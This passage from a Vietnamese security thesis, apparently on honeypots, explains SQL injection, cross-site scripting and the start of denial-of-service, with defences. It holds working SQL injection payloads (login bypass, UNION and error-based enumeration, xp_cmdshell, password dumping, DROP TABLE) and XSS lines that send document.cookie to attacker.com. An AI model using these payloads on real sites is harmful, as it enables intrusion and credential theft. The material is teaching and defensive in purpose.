Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện

trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong

bảng sẽ được chọn.Như vây, câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của

T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là

người dùng đăng nhập hợp lệ.

Ngoài ra, trong chuỗi SQL-injection được tiêm vào thường chứa chứa các kí tự

đặc biệt của SQL :

• kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn

• kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng

Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ thống như sau:

Username: admin’--

Password:

Câu lệnh SQL như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND

Password= ‘” & tkPassword & “’”

Ta thấy, câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi

hỏi password ( Vì phần sau của dấu “ --“ sẽ bị ẩn không được thực thi).

Tóm lại, tấn công vượt qua kiểm tra đăng nhập là dạng tấn công cơ bản nhất giúp

Hacker vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác

trên cơ sở dữ liệu của ứng dụng web.

1.2.2.2. Dạng tấn công sử dụng câu lệnh SELECT

Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công

phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm

các điểm yếu khởi đầu cho việc tấn công.Xét một ví dụ rất thường gặp trong các website

51Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 52: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

về tin tức. Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn

nội dung của tin có ID này.

Ví dụ: http://www.victim.com/shownews.asp?ID=123. Mã nguồn cho chức năng

này thường được viết khá đơn giản theo dạng sau :

<%

Dim vNewsID, objRS, strSQL

vNewsID = Request("ID")

strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

Set objRS = Nothing

%>

Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của tin có ID

trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ đăng

nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có

thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, và từ đó, khởi đầu cho

một cuộc tấn công bất hợp pháp, ví dụ như:

0 OR 1=1 (nghĩa là, http://www.victim.com/shownews.asp?ID=0 or 1=1).

Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực

hiện câu lệnh:

SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1

Một trường hợp khác, ví dụ như trang tìm kiếm. Trang này cho phép người dùng

nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:

<%

Dim vAuthorName, objRS, strSQL

vAuthorName = Request("fAUTHOR_NAME")

strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' "

& _vAuthorName & " ' "

Set objRS = Server.CreateObject("ADODB.Recordset")

52

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 53: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

objRS.Open strSQL, "DSN=..."

.............

Set objRS = Nothing

%>

Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập

vào trường tên tác giả bằng chuỗi giá trị:

' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)

Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm

lệnh tiếp theo sau từ khóa UNION nữa. Tất nhiên các ví dụ nói trên, dường như không có

gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có thể xóa toàn bộ cơ sở dữ liệu

bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DROP TABLE.

Ví dụ như: ' DROP TABLE T_AUTHORS –

Như vậy để biết được ứng dụng web có bị lỗi dạng này hay không ? Rất đơn giản,

hãy nhập vào chuỗi (*) như trên, nếu hệ thống báo lỗi về cú pháp dạng:

Invalid object name “OtherTable”;

ta có thể biết chắc là hệ thống đã thực hiện câu SELECT sau từ khóa UNION, vì như vậy

mới có thể trả về lỗi mà ta đã cố tình tạo ra trong câu lệnh SELECT.

Và ta cũng có thể biết được tên của các bảng dữ liệu mà thực hiện các thao tác phá

hoại khi ứng dụng web bị lỗi SQL injection. Cũng rất đơn giản, bởi vì trong SQL Server,

có hai đối tượng là sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột

có trong hệ thống.

Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ như:

' UNION SELECT name FROM sysobjects WHERE xtype = 'U'

là có thể liệt kê được tên tất cả các bảng dữ liệu.

1.2.2.3. Dạng tấn công sử dụng câu lệnh INSERT

Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để

tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể

xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống

không kiểm tra tính hợp lệ của thông tin nhập vào.

Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:

53Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 54: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three').

Nếu đoạn mã xây dựng câu lệnh SQL có dạng :

<%

strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " &

strValueTwo & " ', ' " & strValueThree & " ') "

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL,

"DSN=..."

….................

Set objRS = Nothing

%>

Ta thấy, đoạn code trên đã bị lỗi SQL injection, bởi vì nếu ta nhập vào trường thứ

nhất ví dụ như:

' + (SELECT TOP 1 FieldName FROM TableName) + '.

Lúc này câu truy vấn sẽ là:

INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM

TableName) + ' ', 'abc', 'def').

Khi đó, lúc thực hiện lệnh xem thông tin, xem như ta đã yêu cầu thực hiện thêm

một lệnh nữa đó là: SELECT TOP 1 FieldName FROM TableName

1.2.2.4. Dạng tấn công sử dụng stored-procedures

Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức tạp

trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên hacker vẫn

có thể lợi dụng những Stored Procedure để tấn công vào hệ thống.Việc tấn công bằng

stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ

thống 'sa'.

Ví dụ, nếu ta thay đoạn mã tiêm vào dạng:

' ; EXEC xp_cmdshell ‘cmd.exe dir C: '.

Lúc này, hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server.

Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

1.2.2.5. Tấn công dựa vào câu lệnh HAVING, GROUP BY, UNION

Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có 54

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 55: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều

dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn

thêm UNION SELECT.

Ví dụ : StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like

‘% “ & tName & “’UNION SELECT tkPassword from User”

Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với

tkPassword trong bảng User.

Chú ý: Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột

trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và

cùng kiểu.Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết

kiểu của mỗi trường.

Sau đây là ví dụ qúa trình tấn công của tin tặc để khai thác nội dung cơ sở dữ liệu

dựa vào HAVING, GROUP BY, UNION:

Câu truy vấn cần để đăng nhập :

SQL Query=“SELECT tkUsername,tkPassword FROM User WHERE tkUsername= ‘” &

strUsername & “’ AND Password= ‘” & tkPassword & “’”

Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều

kiện “having” , như ví dụ sau:

Giá trị nhập vào:

Username: ’having 1=1—

Lỗi phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'User.tkUsername'

is invalid in the select list because it is not contained in an aggregate function and

there is no GROUP BY clause.

Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User

và trong bảng tồn tại một trường tên là tkUsername.

Sau đó sử dụng GROUP BY:

Username: ‘group by User.tkUsername having 1=1—

Lỗi phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server] Column'User.tkPassword'55

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 56: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

is invalid in the select list because it is not contained in either an aggregate function or

the GROUP BY clause.

Như vậy, tkPassword là một trường của bảng User và được sử dụng trong câu truy

vấn.Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User

tham gia vào câu truy vấn.Đến khi không còn báo lỗi cú pháp GROUP BY nữa thì

chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng.

Lúc này UNION được sử dụng:

Username:’union select sum(tkUsername) from User

Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số.

Nếu đối số không là kiểu số thì phát sinh lỗi như sau:

[Microsoft][ODBC SQL Server Driver][SQL Server] The sum or average

aggregate operation cannot take a varchar data type as an argument.

Như vậy, với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu

“varchar”. Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong

bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng

User.

Username:’ insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)—

Như vậy, bây giờ tin tặc đã chèn được Account “admin” mà không cần mật khẩu,

và có thể dùng Account này để đăng nhập. Tuy nhiên, tùy thuộc vào mức độ bảo mật của

Website mà lúc này tin tặc có thể đoạt được quyền quản trị Website hay không.

Ngoài ra, kẻ tấn công còn có thể tiến hành các bước sau để khai thác thông tin của

bảng User, cụ thể như lấy thông tin về username/pasword có sẵn trong bảng này :

Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường

tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có

một trường là ret bằng đoạn mã sau:

create proc test

as

begin

declare @ret varchar(8000)

set @ret=':'56

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 57: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

select @ret=@ret+' '+tkUsername+'/'+tkPassword from User

select @ret as ret into foo

end

Thực thi câu lệnh bằng cách nhập vào form:

Username:’; create proc test as begin declare @ret varchar(8000) set @ret=':'

select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as

ret into foo

Bước 2: Gọi Stored procedure đó : Sau khi đã tạo được stored procedure như

trên, thực hiện lời gọi hàm:

Username:’;exec test

Bước 3: Dùng UNION để xem nội dung bảng foo :

Username:’;select ret,1 from foo union select 1,1 from foo

Sau khi thực hiện lênh này thì sẽ xuất hiện lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft]

[ODBCSQL Server Driver][SQL Server] error convertingthe varchar value ': admin

/passof map/nhimmap minhthu/kmathu' to a column of data type int.

Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên

tkUsername và mật khẩu tkPassword.

Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết:

Username: ‘; drop table foo—

Ngoài ra, còn một cách khác để xác định nội dung thông tin của bảng User như

sau:

Bước 1: Tìm tuần tự từng dòng trên bảng User

Username:’union select 1,1

hoặc :

Username:’union select min(tkUsername),1 from User where tkUsername>

’a’—

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft]

[ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 57

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 58: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

'admin' to a column of data type int.

Ta biết được một Account trong bảng User là “admin”.

Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau:

Username:’;select min(tkUsername),1 from User where tkUsername>

’admin’union select 1,1 from User

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft]

[ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '

map ' to a column of data type int.

Ta tiếp tục thu được thông tin về Account “map”.

Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với trường

tkUsername trong bảng User

Bước 4: Để biết thêm về tkPasswork, có thể thực hiện như sau:

Username:’;select tkPassword,1 from User where tkUsername=’admin’union

select 1,1 from User—

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft]

[ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '

assOf' to a column of data type int.

Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến

bảng hệ thống INFORMATION_SCHEMA.TABLES.

SELECT TABLE_NAME from INFORMATION_SCHEMA.TABLES

INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên

server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu.

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_NAME='User'

Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng User.

Tóm lại, trên đây là những kỹ thuật mà tin tặc thường sử dụng dựa vào câu lệnh

HAVING, GROUP BY, UNION để khai thác thông tin từ cơ sở dữ liệu trong quá trình

tấn công của mình.58

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 59: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

1.2.3. Biện pháp phòng chống

Dưới đây là một số biện pháp phòng chống SQL-injection:

1.2.3.1. Kiểm tra dữ liệu

Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được quan

tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra tính đúng đắn của

dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng, mà phải kiểm tra một

cách tổng quát nhanh chóng để đạt được mục đích.

Ví dụ nếu có bộ lọc để :

Lọc bỏ những dữ liệu bất hợp lệ như ‘--‘,’select’ và ‘union’

Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau.

Một số cách cài đặt các chức năng kiểm tra dữ liệu cơ bản

Cách 1: Thay thế dấu nháy đơn:

function escape( input )

input = replace(input, "'", "''")

escape = input

end function

Cách 2: Từ chối dữ liệu bất hợp lệ

function validate_string( input ) known_bad = array("select","insert","update",

"delete", "drop","--", "'" )

validate_string = true

for i = lbound( known_bad ) to ubound( known_bad )

if ( instr( 1, input, known_bad(i), vbtextcompare )<> 0 )

then

validate_string = false

exit function

end if

next

end function

Cách 3: Chỉ chấp nhận dữ liệu hợp lệ

function validatepassword( input )59

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 60: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO

PQRSTUVWXYZ0123456789"

validatepassword = true

for i = 1 to len( input )

c = mid( input, i, 1 )

if ( InStr( good_password_chars, c ) = 0 ) then

validatepassword = false

exit function

end if

next

end function

1.2.3.2. Khoá chặt SQL Server (SQL Server Lockdown)

Đây là một danh sách các công việc cần làm để bảo vệ SQL server:

* Xác định các phương pháp kết nối đến server:

* Dùng tiện ích Network Utility để kiểm tra rằng chỉ có các thư viện mạng đang

dùng là hoat động.

* Kiểm tra tất cả các tài khoản có trong SQL Server

* Chỉ tạo tài khoản có quyền thấp cho các ứng dụng

* Loại bỏ những tài khoản không cần thiết

* Đảm bảo rằng tất cả tài khoản có một mật khẩu hợp lệ, …

* Kiểm tra các đối tượng tồn tại

* Nhiều extended stored procedure có thể được xoá bỏ một cách an toàn.Nếu điều

này được thực hiện, thì cũng nên xem xét việc loại bỏ luôn những tập tin .dll chứa mã của

các extended stored procedure

* Xoá bỏ tất cả cơ sở dữ liệu mẫu như “northwind” và “pubs”

* Xóa các stored procedure không dùng như: master..xp_cmdshell, xp_startmail,

xp_sendmail, sp_makewebtask

* Kiểm tra những tài khoản nào có thể truy xuất đến những đối tượng nào

* Đối với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở dữ

liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất đến những đối 60

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 61: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

tượng nó cần dùng.

* Kiểm tra lớp sửa chữa của server : Có một số cách tấn công như “buffer

overflow”, “format string” thường chú ý đến lớp bảo vệ này.

* Kiểm tra các phiên làm việc trên server

* Thay đổi "Startup và chạy SQL Server" ở mức người dùng quyền hạn thấp trong

SQL Server Security.

1.2.3.3. Sử dụng phương pháp mã hóa dữ liệu

Đây là một phương pháp rất hữu hiệu để bảo vệ an toàn thông tin nói chung và bảo

vệ thông tin của Cơ sở dữ liệu của Web, giúp ngăn chặn và giảm thiểu thiệt hại sảy ra

ngay cả khi Hacker đã chiếm được quyền kiểm soát website do thông tin trong Cơ sở dữ

liệu đã được mã hóa.

Một ví dụ minh chứng cho sức mạnh của biện pháp này là: trong phần trình bày

các kỹ thuật tấn công SQL-injection trên, ta thấy Hacker có bước tiêm các câu lệnh SQL

để nhằm khai thác thông tin username và pasword của tài khoản admin từ các thông báo

lỗi. Rõ ràng là nếu giả sử biện pháp mã hóa được sử dụng ở đây thì lúc này Hacker chỉ

lấy được giá trị thông tin của khoản admin đã được mã hóa (thông thường đây là các giá

trị đã được mã hóa qua một hàm băm). Như vậy, Hacker sẽ rất khăn trong việc tìm lại giá

trị thông tin username và passowrd thật của tài khoản admin, và Hacker sẽ phải bỏ cuộc.

Hiện nay, có nhiều Hệ quản trị Cơ sở dữ liệu có hỗ trợ mã hóa như : SQL server

2005, Oracle, MySQL ,…, nhưng được mạnh hơn cả là Oracle và rất hay được sử dụng

trong các ngân hàng, công ty tài chính, chứng khoán…..

Nhận xét:

- Qua đây, ta càng thấy rằng sự cần thiết - quan trọng của việc kiểm tra dữ liệu

trước khi xử lý.

- Ứng dụng ngoài việc kiểm tra tính đúng đắn của dữ liệu, cần mã hóa dữ liệu ngay

bên trong cơ sở dữ liệu và không cho xuất trang Web lỗi, báo nội dung lỗi cú pháp SQL

để hacker không thể thu thập thông tin cơ sở dữ liệu.

- Bên cạnh đó là ý thức an ninh mạng của người quản trị mạng.

61Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 62: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

1.3. Chèn mã lệnh thực thi trên trình duyệt nạn nhân(Cross-Site Scripting).

1.3.1. Giới thiệu về XSS

Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công

bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những

thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web để từ đó

chúng được chạy như là một phần của ứng dụng Web và có chức năng cung cấp hoặc

thực hiện những những điều hacker muốn.

Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên

nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà

phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người

sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều

có thể tiềm ẩn các lỗi XSS.

Cross-Site Scripting (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading

Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động

(ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể

gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc

chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML

và cũng có thể là cả các thẻ HTML.Kĩ thuật tấn công XSS đã nhanh chóng trở thành một

trong những lỗi phổ biến nhất của Web Applications và mối đe doạ của chúng đối với

người sử dụng ngày càng lớn. Người chiến thắng trong cuộc thi eWeek OpenHack 2002

là người đã tìm ra 2 XSS mới. Phải chăng mối nguy hiểm từ XSS đã ngày càng được mọi

người chú ý hơn.

Ví dụ: http://www.ibm.com/developerworks/tivoli/library/s-csscript/

1.3.2. Phương pháp tấn công XSS truyền thống

Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông

tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập ra

cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc của

ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của hacker là

tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó.

Các bước thực hiện XSS truyền thống62

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 63: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Tóm tắt các bước thực hiện:

• Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ

hỏng XSS.

• Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang

Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…).

Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò

của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”…

• Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của

hacker.

• Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một

trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin

• Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm

nhập vào tài khoản của người dùng.

Ví dụ : Để khai thác lỗ hổng trên ứng dụng hotwired.lycos.com, hacker có thể thực

hiện như sau :

<html>

<head>

<title>Look at this!</title>

</head>

<body>

<a

href="http://hotwired.lycos.com/webmonkey/index1.html?

tw=<script>document.location.replace('http://www.attacker.com/

steal.cgi?'+document.cookie);</script>"Một phần thưởng hấp dẫn đang chờ bạn

</a>

</body>

</html>

Sau khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ

bạn”, cookie trên máy nạn nhân sẽ bị đánh cắp và là tham số truyền vào cho chương trình 63

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 64: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

steal.cgi của hacker.

http://www.attacker.com/steal.cgi?

lubid=010000508BD3046103F43B8264530098C20100000000;%20p_uniqid=8sJgk9da

as7WUMxV0B;%20gv_titan_20=5901=1019511286

1.3.3. Tấn công XSS bằng Flash

Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng

những tập tin flash để đánh cắp thông tin. Macromedia Flash cho phép lập trình bằng một

ngôn ngữ kịch bản đã được xây dụng sẵn trong Flash là ActionScript. ActionScript có cú

pháp đơn giản và tương tự như JavaScript , C hay PERL.

Ví dụ hàm getURL() dùng để gọi một trang web khác, tham số thường là một URL

chẳng hạn như “http://www.yahoo.com”.

getURL(“http://www.yahoo.com”)

Tuy nhiên có thể thay thế URL bằng JavaScript:

getURL(“javascript:alert(document.cookie)”)

Ví dụ trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin

flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript

vào ứng dụng Web thông qua tập tin flash.

Một ví dụ khác rõ hơn về cách tấn công này là:

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc:

getURL(“javascript:location(‘http://www.attacker.com?

newcookie=’+document.cookie)”)

Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức

cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.

1.3.4. Cách phòng chống

Như đã đề cập ở trên, một tấn công XSS chỉ thực hiện được khi gửi một trang web

cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công. Vì vậy

những người phát triển web có thể bảo vệ website của mình khỏi bị lợi dụng thông qua

những tấn công XSS này, đảm bảo những trang phát sinh động không chứa các tag của

script bằng cách lọc và xác nhận hợp lý các dữ liệu đầu vào từ phía người dùng hoặc mã

hóa(endcoding) và lọc các giá trị xuất cho người dùng.64

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 65: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web

cần phải thực hiện vài bước cơ bản sau:

* Tạo ra danh sách những thẻ HTML được phép sử dụng.

* Xóa bỏ thẻ <script>

* Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related nào.

* Lọc dấu nháy đơn hay kép.

* Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho

ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã

kết thúc từ kí tự Null này).

* Xóa những kí tự “ > ”, “ < ”

* Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng.

* Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho

thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà

người dùng sẽ quyết định.

Nhận xét:

Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ

dừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa

đảo mà hacker đưa đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn

của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước khi

bước vào một trang Web mới.

Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mật

trong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn công lại nhắm vào máy chủ, nhằm

thu thập thông tin trong cơ sở dữ liệu và từ đó giành quyền quản trị ứng dụng.

1.4. Tấn công từ chối dịch vụ (Deny of service - DoS)

1.4.1. Khái niệm

DoS (Denial of Service) có thể mô tả như hành động ngăn cản những người dùng

hợp pháp của một dịch vụ nào đó truy cập và sử dụng dịch vụ đó. Nó bao gồm cả việc

làm tràn ngập mạng, làm mất kết nối với dịch vụ… mà mục đích cuối cùng là làm cho

server không thể đáp ứng được các yêu cầu sử dụng dịch vụ từ các client. DoS có thể làm

ngưng hoạt động của một máy tính, một mạng nội bộ, thậm chí cả một hệ thống mạng rất 65

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 66: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

lớn. Thực chất của DoS là kẻ tấn công sẽ chiếm dụng một lượng lớn tài nguyên mạng

như băng thông, bộ nhớ… và làm mất khả năng xử lý các yêu cầu dịch vụ đến từ các

client khác.

Ví dụ với giao thức là ICMP, hacker có thể sử dụng bomb e-mail để gửi hàng

ngàn thông điệp email với mục đích tiêu thụ băng thông để làm hao hụt tài nguyên hệ

thống trên mail server. Hoặc có thể dùng phần mềm gửi hàng loạt yêu cầu đến máy

chủ khiến cho máy chủ không thể đáp ứng những yêu cầu chính đáng khác.

1.4.2. Các nguy cơ tấn công bằng DOS

* TẤN CÔNG TRÊN SWAP SPACE: Hầu hết các hệ thống đều có vài trăm MB

không gian chuyển đổi ( swap space) để phục vụ cho những yêu cầu từ máy khách. Swap

space thuờng dùng cho các tiến trình con có thời gian ngắn nên DoS có thể được dựa trên

phương thức làm tràn đầy swap space.

* TẤN CÔNG TRÊN BANDWIDTH: Phần băng thông dành cho mỗi hệ thống là

giới hạn, vì thế nếu hacker cùng lúc gửi nhiều yêu cầu đến hệ thống thì phần băng thông

không đủ đáp ứng cho một khối lượng dữ liệu lớn đó và dẫn đến hệ thống bị phá vỡ.

* TẤN CÔNG VÀO RAM: Tấn công Dos chiếm 1 khoảng lớn của RAM cũng có

thể gây ra các vấn đề phá hủy hệ thống. Kiểu tấn công BufferOverflow là một ví dụ cho

cách phá hủy này.

* TẤN CÔNG VÀO DISKS: Một kiểu tấn công cổ điển là làm đầy đĩa cứng. Đĩa

cứng có thể bị tràn và không thể được sử dụng nữa.

1.4.3. Một số dạn tấn công thường gặp

1.4.3.1. Lợi dụng TCP thực hiện phương pháp SYN flood truyền thống

66Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 67: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 3.1 - Tấn công DOS truyền thống

